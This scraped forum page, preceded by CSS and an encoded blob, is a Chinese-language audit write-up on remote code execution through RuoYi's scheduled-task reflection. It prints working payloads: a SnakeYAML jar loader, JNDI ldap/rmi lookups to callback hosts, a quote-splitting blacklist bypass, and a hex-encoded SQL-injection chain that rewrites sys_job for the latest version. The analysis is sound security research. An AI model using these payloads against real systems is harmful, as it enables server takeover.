JswSK6l14zUj5y/Sr7uwRDPsAeHoOn4Rd4UFW6eh6tfVkRPQIP9cyVFrx99dC2xxCaGQrnDRw2LWAvIkgLCm+FJpJEl0kw/0UyWGGJlS0fqXsONcCBmTwNLH2U0RNgYDb6x+0YkGppounYaW08VXVqWala+moOQlxAjGfLM0VqZnCW+JifOrra7eoQV9vHrp+62d+zjpyUznClxLMzYW+v+xGBMYhkYYv4IJwDt92rpf2ImUqC17I/IGrOcTeuvk3D5s5mZplZtWbLHNRzAh6wGySbnAmElUj9kRTmrGyllvW5v8CIlyglLptyBuPSdz8D8r5tPX4LgnmyY1mRYmcpPMtXhCAvVngW2muptJIk5/OPDELwcn7xhgGn0/A5E942jTDRJv6ZX3ZNAFnCJYST0p175kV/iTY8w+mVx8Lt2yWLJas0rYuO36BP3kDv807h+QihgqoiWrcY309Ee3UzUw+Mx1eLTbCVUqftM3M8w/UZp5HYsw2jgKbxsFxJDjCNqy6gxS0y3a3sz+OErTuvCeyDMNUOtn1Oqy9i9fYajk57hEmZs3xiX3LEZfidX3BTaYPjyhQPPhIn3HesNfzb+lJGLNGHiCUeU1mWhLvGV2ijNkxfaeyDoz2am75pMfEz/llJN064Q3CNScnwxJS+wxIoD6hyr769MKvde2qJGfe6hXKLS7yemeXQom8pbNnE9IczbmG/VDF/XKfDSRlFKOltvfeyvd+Dm5PCRPRs+qx/ZbOzx+Ykw4Xfd1ieLine truncated
|
||||
<style>@media(min-width:1200px){}@media(min-width:768px){}@media(max-width:767px){}@media(max-width:767px){}pre{white-space:pre-wrap}@media(min-width:768px){}@media(min-width:992px){}@media(min-width:1200px){}html{font-size:10px;-webkit-tap-highlight-color:transparent}body{font-family:-apple-system,"Helvetica Neue",Helvetica,Arial,"PingFang SC","Hiragino Sans GB","WenQuanYi Micro Hei","Microsoft Yahei",sans-serif;font-size:14px;line-height:1.5;color:#333;background-color:#f6f6f6;word-break:break-word}textarea{font-family:inherit;font-size:inherit;line-height:inherit}ul{padding:0}.wrap{padding-bottom:30px;position:relative}.main{background-color:#fff;border-radius:4px}.mb-20{margin-bottom:20px}.mt-10{margin-top:10px}.mt-30{margin-top:30px}.taglist-inline{list-style:none;padding:0;font-size:0}.taglist-inline li{padding:0;font-size:13px}.taglist-inline>li{display:inline-block;margin-right:5px}.taglist-inline>li:last-child{margin-right:0}.widget-article .quote{padding:25px;background:#f3f5f9;line-height:24px;overflow:hidden}@media(min-width:768px){}.word-wrap{word-wrap:break-word;word-break:normal}::-webkit-scrollbar{width:6px;height:6px}::-webkit-scrollbar-thumb{background-color:#e4e6eb;outline:0;border-radius:2px}::-webkit-scrollbar-track{box-shadow:none;border-radius:2px}</style>
|
||||
<style>a{text-decoration:none}a:focus,a:hover{color:#004e31;text-decoration:underline}@media(max-width:767px){}@media(max-width:767px){}.tag{display:inline-block;padding:0 8px;color:#017e66;background-color:#e7f2ed;height:24px;line-height:24px;font-weight:400;font-size:13px;text-align:center}.tag[href]:focus,.tag[href]:hover{background-color:#017e66;color:#fff;text-decoration:none}</style>
|
||||
<style>@-moz-keyframes blink{50%{background-color:transparent}}@-webkit-keyframes blink{50%{background-color:transparent}}@keyframes blink{50%{background-color:transparent}}pre code.hljs{overflow-x:auto}.hljs{color:#000}.hljs-comment{color:green}.hljs-keyword{color:#00f}.hljs-string{color:#a31515}.markdown-body{color-scheme:light;--color-prettylights-syntax-comment:#6e7781;--color-prettylights-syntax-constant:#0550ae;--color-prettylights-syntax-entity:#8250df;--color-prettylights-syntax-storage-modifier-import:#24292f;--color-prettylights-syntax-entity-tag:#116329;--color-prettylights-syntax-keyword:#cf222e;--color-prettylights-syntax-string:#0a3069;--color-prettylights-syntax-variable:#953800;--color-prettylights-syntax-brackethighlighter-unmatched:#82071e;--color-prettylights-syntax-invalid-illegal-text:#f6f8fa;--color-prettylights-syntax-invalid-illegal-bg:#82071e;--color-prettylights-syntax-carriage-return-text:#f6f8fa;--color-prettylights-syntax-carriage-return-bg:#cf222e;--color-prettylights-syntax-string-regexp:#116329;--color-prettylights-syntax-markup-list:#3b2300;--color-prettylights-syntax-markup-heading:#0550ae;--color-prettylights-syntax-markup-italic:#24292f;--color-prettylights-syntax-markup-bold:#24292f;--color-prettylights-syntax-markup-deleted-text:#82071e;--color-prettylights-syntax-markup-deleted-bg:#ffebe9;--color-prettylights-syntax-markup-inserted-text:#116329;--color-prettylights-syntax-markup-inserted-bg:#dafbe1;--color-prettylights-syntax-markup-changed-text:#953800;--color-prettylights-syntax-markup-changed-bg:#ffd8b5;--color-prettylights-syntax-markup-ignored-text:#eaeef2;--color-prettylights-syntax-markup-ignored-bg:#0550ae;--color-prettylights-syntax-meta-diff-range:#8250df;--color-prettylights-syntax-brackethighlighter-angle:#57606a;--color-prettylights-syntax-sublimelinter-gutter-mark:#8c959f;--color-prettylights-syntax-constant-other-reference-link:#0a3069;--color-fg-default:#24292f;--color-fg-muted:#57606a;--color-fg-subtle:#6e7781;--color-canvas-default:#fff;--color-canvas-subtle:#f6f8fa;--color-border-default:#d0d7de;--color-border-muted:hsl(210,18%,87%);--color-neutral-muted:rgba(175,184,193,0.2);--color-accent-fg:#0969da;--color-accent-emphasis:#0969da;--color-attention-subtle:#fff8c5;--color-danger-fg:#cf222e}.markdown-body{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;margin:0;color:var(--color-fg-default);background-color:var(--color-canvas-default);font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body a{background-color:transparent;color:var(--color-accent-fg);text-decoration:none}.markdown-body a:active,.markdown-body a:hover{outline-width:0}.markdown-body strong{font-weight:600}.markdown-body img{border-style:none;max-width:100%;-webkit-box-sizing:content-box;box-sizing:content-box;background-color:var(--color-canvas-default)}.markdown-body ::-webkit-input-placeholder{color:inherit;opacity:.54}.markdown-body ::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}.markdown-body a:hover{text-decoration:underline}.markdown-body h2,.markdown-body h3{margin-top:24px;margin-bottom:16px;line-height:1.25}.markdown-body h2{font-weight:600;padding-bottom:.3em;font-size:1.5em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h3{font-weight:600;font-size:1.25em}.markdown-body ul{padding-left:2em}.markdown-body code{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace}.markdown-body pre{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;word-wrap:normal}.markdown-body ::-webkit-input-placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body ::placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body a:not([href]){color:inherit;text-decoration:none}.markdown-body p,.markdown-body ul,.markdown-body pre{margin-top:0;margin-bottom:16px}.markdown-body li+li{margin-top:.25em}.markdown-body code{padding:.2em .4em;margin:0;font-size:85%;background-color:var(--color-neutral-muted);border-radius:6px}.markdown-body pre code{font-size:100%}.markdown-body pre>code{word-break:normal;white-space:pre;background:transparent}.markdown-body pre{padding:16px;overflow:auto;font-size:85%;line-height:1.45;background-color:var(--color-canvas-subtle);border-radius:6px}.markdown-body pre code{display:inline;padding:0;margin:0;overflow:visible;line-height:inherit;word-wrap:normal;background-color:transparent;border:0}.markdown-body ::-webkit-calendar-picker-indicator{-webkit-filter:invert(50%);filter:invert(50%)}</style>
|
||||
<style>#md_view{padding:0 20px}#md_view img:hover{cursor:pointer}</style>
|
||||
<!--[if lt IE 9]>
|
||||
<script src="/static/js/html5shiv.min.js"></script>
|
||||
<script src="/static/js/respond.min.js"></script>
|
||||
<![endif]-->
|
||||
<style>html #layuicss-skinlayercss{display:none;position:absolute;width:1989px}@-webkit-keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);-ms-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@-webkit-keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);-ms-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);-ms-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);-ms-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);-ms-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);-ms-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);-ms-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);-ms-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes shake{0%,100%{-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);-ms-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);-ms-transform:translateX(10px);transform:translateX(10px)}}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);-ms-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);-ms-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@media screen and (max-width:1100px){}</style><style>@media(pointer:coarse){@media only screen and (max-device-width:1024px){}@media only screen and (max-device-width:414px){}@media only screen and (max-device-width:320px){}}</style><style>@media screen and (max-width:768px){}</style><style>/*!
|
||||
* Waves v0.7.5
|
||||
* http://fian.my.id/Waves
|
||||
*
|
||||
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
|
||||
* Released under the MIT license
|
||||
* https://github.com/fians/Waves/blob/master/LICENSE
|
||||
*/</style><style>@media(max-height:620px){}@media(max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media(pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style data-id=immersive-translate-input-injected-css>@-webkit-keyframes immersive-translate-loading-animation{from{-webkit-transform:rotate(0deg)}to{-webkit-transform:rotate(359deg)}}@keyframes immersive-translate-loading-animation{from{transform:rotate(0deg)}to{transform:rotate(359deg)}}@keyframes immersiveTranslateShadowRolling{0%{box-shadow:0Line truncated
|
||||
<body>
|
||||
<div class="global-nav mb-50" style="display:none !important">
|
||||
|
||||
</div>
|
||||
<div class="top-alert mt-60 clearfix text-center" style="display:none !important">
|
||||
<!--[if lt IE 9]>
|
||||
<div class="alert alert-danger topframe" role="alert">你的浏览器实在<strong>太太太太太太旧了</strong>,放学别走,升级完浏览器再说
|
||||
<a target="_blank" class="alert-link" href="http://browsehappy.com">立即升级</a>
|
||||
</div>
|
||||
<![endif]-->
|
||||
|
||||
</div>
|
||||
<div class=wrap>
|
||||
<div class=container>
|
||||
<div class="row mt-10">
|
||||
<div class="col-xs-12 col-md-9 main">
|
||||
<div class=widget-article>
|
||||
<h3 class="title word-wrap">若依最新版后台RCE</h3>
|
||||
<ul class=taglist-inline>
|
||||
<li class=tagPopup><a class=tag href=https://forum.butian.net/topic/48>漏洞分析</a></li>
|
||||
</ul>
|
||||
<div class="content mt-10">
|
||||
<div class="quote mb-20">
|
||||
若依定时任务的实现是通过反射调来调用目标类,目标类的类名可控导致rce。在版本迭代中增加了黑白名单来防御,但仍然可绕过!
|
||||
</div>
|
||||
<textarea id=md_view_content style=display:none>前言
|
||||
--
|
||||
|
||||
关于若依漏洞或者是审计的文章网上挺多的,本来就只是想写一下最新版4.7.8的RCE。因为之前没接触过若依就打算看看定时任务实现的原理以及历史的漏洞,但是在查阅资料的时候,发现了**一些**文章给的poc有问题,比如作者写的是&lt;4.7.2时,给的是`org.springframework.jndi.JndiLocatorDelegate.lookup('r'm'i://ip:端口/refObj')`,大概作者的目的是想说明可以通过若依对字符串的处理的一些问题(参数中的`'`会替换为空)绕过对`rmi`的过滤,但是却没有考虑到`org.springframework.jndi`在4.7.1版本中已经加入了黑名单。作者也只是给出了poc,并没有复现的过程!
|
||||
|
||||
计划任务实现原理
|
||||
--------
|
||||
|
||||
从[官方文档](https://doc.ruoyi.vip/ruoyi/document/htsc.html#%E5%AE%9A%E6%97%B6%E4%BB%BB%E5%8A%A1)可以看出可以通过两种方法调用目标类:
|
||||
|
||||
- Bean调用示例:ryTask.ryParams('ry')
|
||||
- Class类调用示例:com.ruoyi.quartz.task.RyTask.ryParams('ry')
|
||||
|
||||
接下来咱调试一下,看看具体是如何实现的这个功能的
|
||||
|
||||
首先直接在测试类下个断点,看看调用
|
||||
|
||||

|
||||
|
||||
通过系统默认的任务1来执行这个测试类
|
||||
|
||||

|
||||
|
||||

|
||||
在调用过程中,会发现在`com.ruoyi.quartz.util.JobInvokeUtil`类中存在两个名为`invokeMethod`的方法,并前后各调用了一次
|
||||
|
||||

|
||||
|
||||
在第一个`invokeMethod`方法中对调用目标字符串的类型进行判断,判断是Bean还是Class。然后调用第二个`invokeMethod`方法
|
||||
|
||||
- bean就通过getBean()直接获取bean的实例
|
||||
- 类名就通过反射获取类的实例
|
||||
|
||||
```java
|
||||
if (!isValidClassName(beanName)){
|
||||
Object bean = SpringUtils.getBean(beanName);
|
||||
invokeMethod(bean, methodName, methodParams);
|
||||
}
|
||||
else
|
||||
{
|
||||
Object bean = Class.forName(beanName).newInstance();
|
||||
invokeMethod(bean, methodName, methodParams);
|
||||
}
|
||||
```
|
||||
|
||||
第二个`invokeMethod`这个方法通过反射来加载测试类
|
||||
|
||||
```java
|
||||
if (StringUtils.isNotNull(methodParams) && methodParams.size() > 0){
|
||||
Method method = bean.getClass().getDeclaredMethod(methodName, getMethodParamsType(methodParams));
|
||||
method.invoke(bean, getMethodParamsValue(methodParams));
|
||||
}
|
||||
```
|
||||
|
||||
这大概就是定时任务加载类的逻辑
|
||||
|
||||
漏洞成因
|
||||
----
|
||||
|
||||
接着我们新增一个定时任务,看看在创建的过程中对调用目标字符串做了哪些处理
|
||||
|
||||
抓包可以看到直接调用了`/monitor/job/add`这个接口
|
||||
|
||||

|
||||
|
||||
可以看到就只是判断了一下,目标字符串是否包含`rmi://`,这就导致导致攻击者可以调用任意类、方法及参数触发反射执行命令。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
由于反射时所需要的:类、方法、参数都是我们可控的,所以我们只需传入一个能够执行命令的类方法就能达到getshell的目的,该类只需要满足如下几点要求即可:
|
||||
|
||||
- 具有public类型的无参构造方法
|
||||
- 自身具有public类型且可以执行命令的方法
|
||||
|
||||
4.6.2
|
||||
-----
|
||||
|
||||
因为目前对**调用目标字符串**限制不多,so直接拿网上公开的poc打吧!
|
||||
|
||||
- 使用Yaml.load()来打SnakeYAML反序列化
|
||||
- JNDI注入
|
||||
|
||||
### SnakeYAML反序列化
|
||||
|
||||
探测SnakeYAMLpoc:
|
||||
|
||||
```php
|
||||
String poc = "{!!java.net.URL [\"http://5dsff0.dnslog.cn/\"]: 1}";
|
||||
```
|
||||
|
||||
利用SPI机制-基于ScriptEngineManager利用链来执行命令,直接使用这个师傅写好的脚本:<https://github.com/artsploit/yaml-payload>
|
||||
|
||||
1)把这块修改成要执行的命令
|
||||
|
||||

|
||||
|
||||
2)把项目生成jar包
|
||||
|
||||
```php
|
||||
javac src/artsploit/AwesomeScriptEngineFactory.java //编译java文件
|
||||
jar -cvf yaml-payload.jar -C src/ . //打包成jar包
|
||||
```
|
||||
|
||||
3)在yaml-payload.jar根目录下起一个web服务
|
||||
|
||||
```php
|
||||
python -m http.server 9999
|
||||
```
|
||||
|
||||
4)在计划任务添加payload,执行
|
||||
|
||||
```php
|
||||
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999/yaml-payload.jar"]]]]')
|
||||
```
|
||||
|
||||

|
||||
|
||||
### JNDI注入
|
||||
|
||||
使用yakit起一个返连服务
|
||||
|
||||

|
||||
|
||||
poc:
|
||||
|
||||
```php
|
||||
javax.naming.InitialContext.lookup('ldap://127.0.0.1:8085/calc')
|
||||
```
|
||||
|
||||
nc监听端口
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
&lt; 4.6.2
|
||||
----------
|
||||
|
||||
### rmi
|
||||
|
||||
上边的分析是拿4.6.2版本分析的,在创建定时任务时会判断目标字符串中有没有rmi关键字。后边有拐回来看一下,发现在4.6.2版本以下,在创建定时任务时是没有任何过滤的。
|
||||
|
||||

|
||||
|
||||
所以在补充一个rmi的poc:
|
||||
|
||||
```php
|
||||
org.springframework.jndi.JndiLocatorDelegate.lookup('rmi://127.0.0.1:1099/refObj')
|
||||
```
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
&lt;4.7.0
|
||||
---------
|
||||
|
||||
`4.6.2~4.7.1`新增黑名单限制调用字符串
|
||||
|
||||
- 定时任务屏蔽ldap远程调用
|
||||
- 定时任务屏蔽http(s)远程调用
|
||||
- 定时任务屏蔽rmi远程调用
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
来个小插曲,之前又看到一个文章,阅读量还不少类,师傅给出的poc是利用范围是**&lt;4.7.2**
|
||||
|
||||

|
||||
|
||||
后边发现不止这一篇,其他就不在举例了。
|
||||
|
||||

|
||||
|
||||
但是我去翻了diff,发现在4.7.1中的黑名单已经过滤了这些poc。
|
||||
|
||||

|
||||
|
||||
### 单引号绕过
|
||||
|
||||
在4.7.0的版本以下,仅仅只是屏蔽了ldap、http(s)、ldap。这里可以结合若依对将参数中的所有单引号替换为空来绕过
|
||||
|
||||
poc、例如:
|
||||
|
||||
```php
|
||||
org.springframework.jndi.JndiLocatorDelegate.lookup('r'm'i://127.0.0.1:1099/refObj')
|
||||
```
|
||||
|
||||
分析:
|
||||
|
||||
创建任务时`r'm'i`可以绕过对`rmi`的过滤
|
||||
|
||||

|
||||
|
||||
之前分析的定时任务运行的原理,会在`com.ruoyi.quartz.util.JobInvokeUtil`类中第一个`invokeMethod`方法调用`getMethodParams`方法来获取参数
|
||||
|
||||

|
||||
|
||||
跟进之后发现会把参数中的`'`替换为空
|
||||
|
||||

|
||||
|
||||
打个断点调试一下
|
||||
|
||||

|
||||
|
||||
&lt;4.7.2
|
||||
---------
|
||||
|
||||
在这个版本下可以看到有可以看到有ldaps、配置文件rce等方法bypass,网上挺多文章的就不分析了
|
||||
|
||||
### ldaps
|
||||
|
||||
### 配置文件rce
|
||||
|
||||
4.7.3
|
||||
-----
|
||||
|
||||
在4.7.3的版本下,又增加了白名单,只能调用com.ruoyi包下的类!并且把之前所有的路堵死了
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
4.7.8(最新版)
|
||||
----------
|
||||
|
||||
依旧是没办法绕过黑白名单的限制。之前我们大概分析了一下定时任务的创建。对**调用目标字符串**过滤是在定时任务创建时进行的
|
||||
|
||||
审计之后可以看到,对目标字符串的过滤只发生在增加、修改计划任务时
|
||||
|
||||

|
||||
|
||||
创建后的定时任务信息存储在**sys\_job**表中
|
||||
|
||||

|
||||
|
||||
结合4.7.5 版本下的sql注入漏洞,直接修改表中的数据
|
||||
参考:[https://gitee.com/y\_project/RuoYi/issues/I65V2B](https://gitee.com/y_project/RuoYi/issues/I65V2B)
|
||||
|
||||
在`com.ruoyi.generator.controller.GenController#create`
|
||||
|
||||

|
||||
|
||||
这块直接调用了`genTableService.createTable()`,咱直接跟进去看看
|
||||
|
||||

|
||||
|
||||
Mapper语句:
|
||||
|
||||

|
||||
|
||||
接下来创建一个定时任务调用这个类,直接从sys\_job表中把某一个定时任务调用目标字符串(invoke\_target字段)改了
|
||||
|
||||
先谈个dnslog试试
|
||||
|
||||
```php
|
||||
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 'javax.naming.InitialContext.lookup('ldap://xcrlginufj.dgrh3.cn')' WHERE job_id = 1;')
|
||||
```
|
||||
|
||||
但会触发黑名单
|
||||
|
||||

|
||||
|
||||
由于是执行sql语句,直接将value转为16进制即可
|
||||
|
||||

|
||||
|
||||
```php
|
||||
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f7863726c67696e75666a2e64677268332e636e2729 WHERE job_id = 1;')
|
||||
```
|
||||
|
||||
可以成功创建
|
||||

|
||||
|
||||
运行后任务1的**调用目标字符串**也被成功修改
|
||||
|
||||

|
||||
|
||||
紧接着运行任务1
|
||||
|
||||

|
||||
|
||||
接下来弹个计算机
|
||||
|
||||
yakit开个反连,配置一下
|
||||
|
||||

|
||||
|
||||
执行上边的步骤修改任务1,在运行任务1
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
总结
|
||||
--
|
||||
|
||||
碰上前言中说到的事确实感到挺无奈却又无可奈何。也有可能是我能力不够分析有误,如果有问题希望各位师傅及时指正!
|
||||
|
||||
参考
|
||||
--
|
||||
|
||||
<https://xz.aliyun.com/t/10687>
|
||||
|
||||
<https://y4tacker.github.io/2022/02/08/year/2022/2/SnakeYAML%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%8F%8A%E5%8F%AF%E5%88%A9%E7%94%A8Gadget%E5%88%86%E6%9E%90>
|
||||
|
||||
[https://www.cnblogs.com/pursue-security/p/17658404.html#\_label1\_3](https://www.cnblogs.com/pursue-security/p/17658404.html#_label1_3)
|
||||
|
||||
<https://xz.aliyun.com/t/10957>
|
||||
|
||||
<https://github.com/luelueking/RuoYi-v4.7.8-RCE-POC></textarea>
|
||||
<div id=layer-photos-demo>
|
||||
<div id=md_view><div class=markdown-body><h2 blockindex=0>前言</h2>
|
||||
<p blockindex=1>关于若依漏洞或者是审计的文章网上挺多的,本来就只是想写一下最新版4.7.8的RCE。因为之前没接触过若依就打算看看定时任务实现的原理以及历史的漏洞,但是在查阅资料的时候,发现了<strong>一些</strong>文章给的poc有问题,比如作者写的是<4.7.2时,给的是<code>org.springframework.jndi.JndiLocatorDelegate.lookup('r'm'i://ip:端口/refObj')</code>,大概作者的目的是想说明可以通过若依对字符串的处理的一些问题(参数中的<code>'</code>会替换为空)绕过对<code>rmi</code>的过滤,但是却没有考虑到<code>org.springframework.jndi</code>在4.7.1版本中已经加入了黑名单。作者也只是给出了poc,并没有复现的过程!</p>
|
||||
<h2 blockindex=2>计划任务实现原理</h2>
|
||||
